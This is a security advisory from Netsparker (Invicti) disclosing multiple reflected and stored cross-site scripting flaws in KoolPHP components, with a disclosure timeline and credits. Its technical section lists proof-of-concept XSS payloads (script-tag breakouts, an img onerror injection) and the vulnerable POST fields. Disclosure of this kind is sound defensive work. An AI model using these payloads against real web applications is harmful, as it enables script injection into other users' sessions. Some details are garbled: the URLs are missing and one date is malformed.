Multiple XSS Vulnerabilities in KoolPHP


Advisory by Netsparker (now Invicti)
Name: Multiple XSS Vulnerabilities in KoolPHP
Affected Software: KoolPHP
Affected Versions: 80 and possibly below
Vendor Homepage:
Vulnerability Type: Cross-site Scripting
Severity: Important
Invicti Advisory Reference: NS-14-040


KoolPHP is a vendor of PHP User Interface (UI) components. We focus on building the featured rich yet easy-to-use components to help developers increase productivity and deliver highest quality applications within time and budget constraints.

Technical Details

Proof of Concept URLs for XSS in KoolPHP: (POST, fields: kts_selected)
'"--></style></scRipt><scRipt>alert(0x008D03)</scRipt>'"--></style></scRipt><scRipt>alert(0x009381)</scRipt>&__koolajax=1"onload="alert(9) (POST, fields: style_select)
'"--></style></scRipt><scRipt>alert(0x009A07)</scRipt> (POST, fields:kcb_selectedText)
</textarea><scRipt>alert(9)</scRipt> (POST, fields: style_select)
'><iMg src=N onerror=alert(9)>

Permanent Cross-site Scripting (POST, fields: comment_name)
'"--></style></scRipt><scRipt>alert(0x001B3B)</scRipt> (POST, fields: dbhost)
<scRipt>alert(0x00A4EF)</scRipt> (POST, fields: comment_name)

Other URLs (POST, fields: scrolling ) (POST, fields: selectStyle ) (POST, fields: kcb_selectedText) (POST, fields: effect_select) (POST, fields: style_select ) (POST, fields: timepicker ) (POST, fields: style_select) (POST, fields: datetimepicker ) (POST, fields: style_select ) (POST, fields: datetimepicker ) (POST, fields: alignmentSelect ) (POST, fields: country1 ) (POST, fields: style_select ) (POST, fields: effect_select ) (POST, fields: kcb_selectedText ) (POST, fields: comment_name ) (POST, fields: style_select ) (POST, fields: datepicker ) (POST, fields: kcb_selectedText) (POST, fields: style_select ) (POST, fields: selectStyle ) (POST, fields: style_select )

For more information on cross-site scripting vulnerabilities, see Cross-site Scripting (XSS).

Advisory Timeline

227/06/2014 – First Contact
07/07/2014 – Second Contact
09/12/2014 – Advisory Released

Credits & Authors

These issues have been discovered by Omar Kurt while testing Invicti Web Application Security Scanner.

About Invicti

Invicti Security is transforming the way web applications are secured. Invicti empowers organizations in every industry to scale their overall security operations, make the best use of their security resources, and engage developers in helping to improve their overall security posture.